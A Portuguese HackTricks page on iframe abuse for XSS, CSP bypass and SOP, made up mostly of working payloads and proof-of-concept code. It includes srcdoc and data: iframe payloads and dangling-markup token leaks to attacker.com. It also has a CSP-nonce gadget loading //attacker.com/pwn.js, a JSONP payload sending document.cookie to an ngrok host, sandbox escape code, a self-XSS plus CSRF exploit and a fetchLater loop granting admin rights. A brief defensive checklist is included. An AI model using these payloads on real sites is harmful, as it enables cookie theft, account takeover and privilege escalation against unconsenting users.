Iframes em XSS, CSP e SOP

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Navegue pelo catálogo completo do HackTricks Training para as trilhas de assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).

Support HackTricks

Iframes em XSS

Existem 3 maneiras de indicar o conteúdo de uma página em iframe:

  • Via src indicando uma URL (a URL pode ser cross origin ou same origin)
  • Via src indicando o conteúdo usando o protocolo data:
  • Via srcdoc indicando o conteúdo

Acessando variáveis do Parent & Child

<html>
<script>
var secret = "31337s3cr37t"
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>

Se você acessar o HTML anterior via um servidor http (como python3 -m http.server) você notará que todos os scripts serão executados (já que não há CSP impedindo isso)., o parent não conseguirá acessar a var secret dentro de nenhum iframe e apenas os iframes if2 & if3 (que são considerados same-site) podem acessar o secret na janela original.
Observe como if4 é considerado ter origem null.

Peculiaridades de srcdoc que importam em exploits reais

Dois detalhes sobre srcdoc são fáceis de perder durante a exploração:

  • A menos que o frame esteja sandboxed sem allow-same-origin, um documento srcdoc é same-origin with the parent. Portanto, injetar HTML controlado pelo atacante em srcdoc geralmente equivale a dar acesso direto ao DOM do documento topo.
  • Mesmo que a URL do documento seja about:srcdoc, URLs relativas são resolvidas usando a URL da página de embed como base. Isso significa que payloads como <script src="/upload/payload.js"></script> ou <img src="/internal/debug"> irão mirar a origem do parent, não about:srcdoc.

Payload prático:

<iframe
srcdoc='<script src="/uploads/payload.js"></script><a href="#test">anchor</a>'></iframe>

Isto é especialmente útil quando você controla apenas a marcação, mas conhece um caminho same-origin que retorna JavaScript, JSONP ou HTML controlados pelo atacante sem um CSP restritivo.

Iframes with CSP

Tip

Note que, nos bypasses seguintes, a resposta da página dentro do iframe não contém nenhum cabeçalho CSP que impeça a execução de JS.

O valor self de script-src não permite a execução de código JS usando o protocolo data: ou o atributo srcdoc.
No entanto, mesmo o valor none da CSP permitirá a execução dos iframes que colocam uma URL (completa ou apenas o caminho) no atributo src.
Portanto, é possível contornar a CSP de uma página com:

<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

Repare como a CSP anterior permite apenas a execução do script inline.
No entanto, apenas os scripts if1 e if2 serão executados, mas apenas if1 poderá acessar o segredo da janela pai.

Portanto, é possível bypassar uma CSP se você conseguir fazer upload de um arquivo JS para o servidor e carregá-lo via iframe mesmo com script-src 'none'. Isso pode potencialmente ser feito também abusando de um endpoint JSONP same-site.

Você pode testar isso com o seguinte cenário onde um cookie é roubado mesmo com script-src 'none'. Basta executar a aplicação e acessá-la com seu navegador:

import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()

Novas (2023-2025) técnicas de bypass de CSP com iframes

A comunidade de pesquisa continua descobrindo maneiras criativas de abusar de iframes para contornar políticas restritivas. Abaixo estão as técnicas mais notáveis publicadas nos últimos anos:

  • Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023) – Quando uma aplicação reflete HTML mas uma CSP forte bloqueia a execução de scripts, ainda é possível vazar tokens sensíveis injetando um atributo dangling <iframe name>. Uma vez que o markup parcial é parseado, o script atacante executando em uma origem separada navega o frame para about:blank e lê window.name, que agora contém tudo até o próximo caractere de aspas (por exemplo um token CSRF). Como nenhum JavaScript roda no contexto da vítima, o ataque geralmente evade script-src 'none'. Um PoC mínimo é:
<!-- Injection point just before a sensitive <script> -->
<iframe name="//attacker.com/?">  <!-- attribute intentionally left open -->
// attacker.com frame
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // → leaked value
  • Nonce reuse via same-origin iframe – CSP nonces são legíveis a partir do DOM por documentos same-origin. Se um atacante puder injetar ou fazer upload de uma página HTML same-origin e carregá-la em um iframe, o frame filho pode ler top.document.querySelector('[nonce]').nonce e criar novos elementos <script nonce>. Isso transforma uma injeção de HTML same-origin em execução total de script mesmo sob strict-dynamic (porque o nonce já é confiável). O seguinte gadget escala uma injeção de markup para XSS:
const n = top.document.querySelector('[nonce]').nonce;
const s = top.document.createElement('script');
s.src = '//attacker.com/pwn.js';
s.nonce = n;
top.document.body.appendChild(s);
  • Form-action hijacking (PortSwigger 2024) – Uma página que omite a diretiva form-action pode ter seu formulário de login re-targeted a partir de um iframe injetado ou HTML inline, de forma que password managers preencham automaticamente e submetam credenciais para um domínio externo, mesmo quando script-src 'none' está presente. Sempre complemente default-src com form-action!

Notas de defesa (checklist rápido)

  1. Sempre envie todas as diretivas CSP que controlam contextos secundários (form-action, frame-src, child-src, object-src, etc.).
  2. Não confie que nonces são secretos—use strict-dynamic e elimine pontos de injeção.
  3. Quando precisar embutir documentos não confiáveis, use sandbox="allow-scripts allow-same-origin" com muita cautela (ou sem allow-same-origin se você só precisa de isolamento de execução de scripts).
  4. Considere uma implantação COOP+COEP em defesa em profundidade; o novo atributo <iframe credentialless> (§ abaixo) permite isso sem quebrar embeds de terceiros.

Outros payloads encontrados ‘in the wild’

<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Sandbox de iframe

O conteúdo dentro de um iframe pode ser sujeito a restrições adicionais por meio do uso do atributo sandbox. Por padrão, esse atributo não é aplicado, o que significa que nenhuma restrição está em vigor.

Quando utilizado, o atributo sandbox impõe várias limitações:

  • O conteúdo é tratado como se viesse de uma origem única.
  • Qualquer tentativa de enviar formulários é bloqueada.
  • A execução de scripts é proibida.
  • O acesso a certas APIs é desativado.
  • Impede que links interajam com outros contextos de navegação.
  • O uso de plugins via <embed>, <object>, <applet> ou tags similares é proibido.
  • Evita que o conteúdo navegue pelo contexto de navegação de nível superior.
  • Recursos que são acionados automaticamente, como reprodução de vídeo ou auto-foco em controles de formulário, são bloqueados.

Dica: Navegadores modernos suportam flags granulares como allow-scripts, allow-same-origin, allow-top-navigation-by-user-activation, allow-downloads-without-user-activation, etc. Combine-os para conceder apenas as capacidades mínimas necessárias pela aplicação embutida.

O valor do atributo pode ser deixado vazio (sandbox="") para aplicar todas as restrições mencionadas acima. Alternativamente, pode ser definido como uma lista de valores separados por espaço que isentam o iframe de certas restrições.

<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>

Se a página incorporada for same-origin e você conceder tanto allow-scripts quanto allow-same-origin, o sandbox torna-se uma fronteira muito fraca. O filho pode executar JavaScript, acessar top.document e até remover o atributo sandbox do seu próprio elemento <iframe>:

const me = top.document.querySelector("iframe")
me.removeAttribute("sandbox")
top.location = "/admin"

Na prática, sandbox="allow-scripts allow-same-origin" deve ser tratado como inseguro para conteúdo same-origin influenciado por um atacante. Ainda é útil para alguns embeds de terceiros, mas não é uma barreira de isolamento contra HTML same-origin hostil.

Credentialless iframes

As explained in this article, the credentialless flag in an iframe is used to load a page inside an iframe without sending credentials in the request while maintaining the same origin policy (SOP) of the loaded page in the iframe.

Since Chrome 110 (February 2023) the feature is enabled by default and the spec is being standardized across browsers under the name anonymous iframe. MDN describes it as: “a mechanism to load third-party iframes in a brand-new, ephemeral storage partition so that no cookies, localStorage or IndexedDB are shared with the real origin”. Consequences for attackers and defenders:

  • Scripts em diferentes credentialless iframes ainda compartilham a mesma top-level origin e podem interagir livremente via DOM, tornando ataques self-XSS multi-iframe viáveis (see PoC abaixo).
  • Como a rede é credential-stripped, qualquer requisição dentro do iframe se comporta efetivamente como uma sessão não autenticada – endpoints protegidos por CSRF geralmente falham, mas páginas públicas leakable via DOM ainda estão no escopo.
  • O storage é partitioned by a top-level document nonce: credentialless frames na mesma página podem compartilhar storage entre si, mas ele é limpo quando o top-level document é descartado.
  • Pop-ups gerados a partir de um credentialless iframe recebem implicitamente rel="noopener", quebrando alguns OAuth flows.
  • Espera-se que os browsers disable autofill/password managers dentro de credentialless iframes, limitando credential theft via autofill nesses contextos.
// PoC: two same-origin credentialless iframes stealing cookies set by a third
window.top[1].document.cookie = 'foo=bar';            // write
alert(window.top[2].document.cookie);                 // read -> foo=bar
  • Exemplo de exploit: Self-XSS + CSRF

Neste ataque, o atacante prepara uma página maliciosa com 2 iframes:

  • Um iframe que carrega a página da vítima com a flag credentialless e com um CSRF que dispara um XSS (Imagine um Self-XSS no username do usuário):
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
  • Outro iframe que de fato tem o usuário autenticado (sem a flag credentialless).

Então, a partir do XSS é possível acessar o outro iframe, pois eles têm a mesma SOP, e roubar o cookie, por exemplo executando:

alert(window.top[1].document.cookie);

fetchLater Attack

As indicated in this article the API fetchLater allows configuring a request to be executed later. This can be abused to, for example, login a victim inside an attacker’s session (with Self-XSS), schedule a fetchLater request (to change the password of the current user for example), and logout from the attacker’s session. Then, when the victim logs into their own session, the deferred request can execute using the cookies available at dispatch time, changing the password of the victim to the one set by the attacker.

Notas operacionais:

  • fetchLater entered Chrome origin trial in 2024 and shipped in Chrome 135 (April 2025), so feature-detect before relying on it.
  • The response is not available to JavaScript; body/headers are ignored once the deferred request is sent.
  • CSP enforcement uses connect-src (not script-src) for deferred requests.
  • Requests fire on page unload or when activateAfter expires (whichever happens first).
  • The maximum single delay is currently 299000 ms, so long waits require re-scheduling several deferred requests.

Dessa forma, mesmo que a URL da vítima não possa ser carregada em um iframe (devido a CSP ou outras restrições), o atacante ainda pode executar uma requisição na sessão da vítima.

var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
for (let i = 1; i <= 20; i++)
fetchLater(req,{activateAfter: i * 299000})

Iframes na SOP

Confira as páginas a seguir:

Bypassing SOP with Iframes - 1

Bypassing SOP with Iframes - 2

Blocking main page to steal postmessage

Steal postmessage modifying iframe location

Referências

Tip

Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Navegue pelo catálogo completo do HackTricks Training para as trilhas de assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).

Support HackTricks